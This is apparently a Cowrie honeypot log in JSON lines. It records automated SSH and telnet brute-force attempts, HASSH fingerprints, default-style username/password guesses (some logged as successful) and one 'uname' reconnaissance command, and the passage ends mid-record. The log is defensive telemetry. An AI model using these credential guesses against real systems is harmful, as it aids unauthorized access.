{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:14.852232Z","src_ip":"192.109.200.237","session":"018983ba7f97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:15.250620Z","src_ip":"192.109.200.237","session":"018983ba7f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:16.337215Z","src_ip":"192.109.200.237","session":"018983ba7f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55896,"dst_ip":"159.203.135.109","dst_port":22,"session":"c20d2c77ab76","protocol":"ssh","message":"New connection: 192.109.200.237:55896 (159.203.135.109:22) [session: c20d2c77ab76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:18.360221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:18.364639Z","src_ip":"192.109.200.237","session":"c20d2c77ab76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:18.447044Z","src_ip":"192.109.200.237","session":"c20d2c77ab76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:18.693463Z","src_ip":"192.109.200.237","session":"c20d2c77ab76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:19.803740Z","src_ip":"192.109.200.237","session":"c20d2c77ab76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.76426601409912,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:20.827019Z","src_ip":"152.42.224.71","session":"ced03403ac15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.259915590286255,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:20.987714Z","src_ip":"152.42.224.71","session":"9806aef00a28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39906,"dst_ip":"159.203.135.109","dst_port":22,"session":"2405a96ccb86","protocol":"ssh","message":"New connection: 192.109.200.237:39906 (159.203.135.109:22) [session: 2405a96ccb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:21.652689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:21.719521Z","src_ip":"192.109.200.237","session":"2405a96ccb86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:21.790628Z","src_ip":"192.109.200.237","session":"2405a96ccb86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:22.081776Z","src_ip":"192.109.200.237","session":"2405a96ccb86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35594,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f7234c986f","protocol":"telnet","message":"New connection: 152.42.224.71:35594 (10.17.0.5:23) [session: d5f7234c986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:22.379791Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:23.166151Z","src_ip":"192.109.200.237","session":"2405a96ccb86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39908,"dst_ip":"159.203.135.109","dst_port":22,"session":"2764e011ae05","protocol":"ssh","message":"New connection: 192.109.200.237:39908 (159.203.135.109:22) [session: 2764e011ae05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:25.081806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:25.087974Z","src_ip":"192.109.200.237","session":"2764e011ae05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:25.177116Z","src_ip":"192.109.200.237","session":"2764e011ae05","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:25.424515Z","src_ip":"192.109.200.237","session":"2764e011ae05","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:25.638658Z","src_ip":"192.109.200.237","session":"2764e011ae05","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:25.642501Z","src_ip":"192.109.200.237","session":"2764e011ae05","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:25.728010Z","src_ip":"192.109.200.237","session":"2764e011ae05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:25.733610Z","src_ip":"192.109.200.237","session":"2764e011ae05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39920,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6e64b869190","protocol":"ssh","message":"New connection: 192.109.200.237:39920 (159.203.135.109:22) [session: c6e64b869190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:28.644098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:28.649056Z","src_ip":"192.109.200.237","session":"c6e64b869190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:28.731397Z","src_ip":"192.109.200.237","session":"c6e64b869190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:28.977971Z","src_ip":"192.109.200.237","session":"c6e64b869190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:30.063668Z","src_ip":"192.109.200.237","session":"c6e64b869190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50040,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdb4015a73ec","protocol":"ssh","message":"New connection: 192.109.200.237:50040 (159.203.135.109:22) [session: cdb4015a73ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:31.981337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:31.990565Z","src_ip":"192.109.200.237","session":"cdb4015a73ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:32.072939Z","src_ip":"192.109.200.237","session":"cdb4015a73ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:32.320490Z","src_ip":"192.109.200.237","session":"cdb4015a73ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:33.405389Z","src_ip":"192.109.200.237","session":"cdb4015a73ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50048,"dst_ip":"159.203.135.109","dst_port":22,"session":"890653fcf3a1","protocol":"ssh","message":"New connection: 192.109.200.237:50048 (159.203.135.109:22) [session: 890653fcf3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:35.538363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:35.543568Z","src_ip":"192.109.200.237","session":"890653fcf3a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:35.625432Z","src_ip":"192.109.200.237","session":"890653fcf3a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:35.871277Z","src_ip":"192.109.200.237","session":"890653fcf3a1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:36.143000Z","src_ip":"192.109.200.237","session":"890653fcf3a1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:36.146965Z","src_ip":"192.109.200.237","session":"890653fcf3a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.743263244628906,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:36.154315Z","src_ip":"152.42.224.71","session":"e3a28fc55b21","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:36.232942Z","src_ip":"192.109.200.237","session":"890653fcf3a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:36.238157Z","src_ip":"192.109.200.237","session":"890653fcf3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":45382,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d7ad576da7f","protocol":"ssh","message":"New connection: 176.32.39.21:45382 (10.17.0.5:22) [session: 0d7ad576da7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:38.792165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:38.840335Z","src_ip":"176.32.39.21","session":"0d7ad576da7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-ds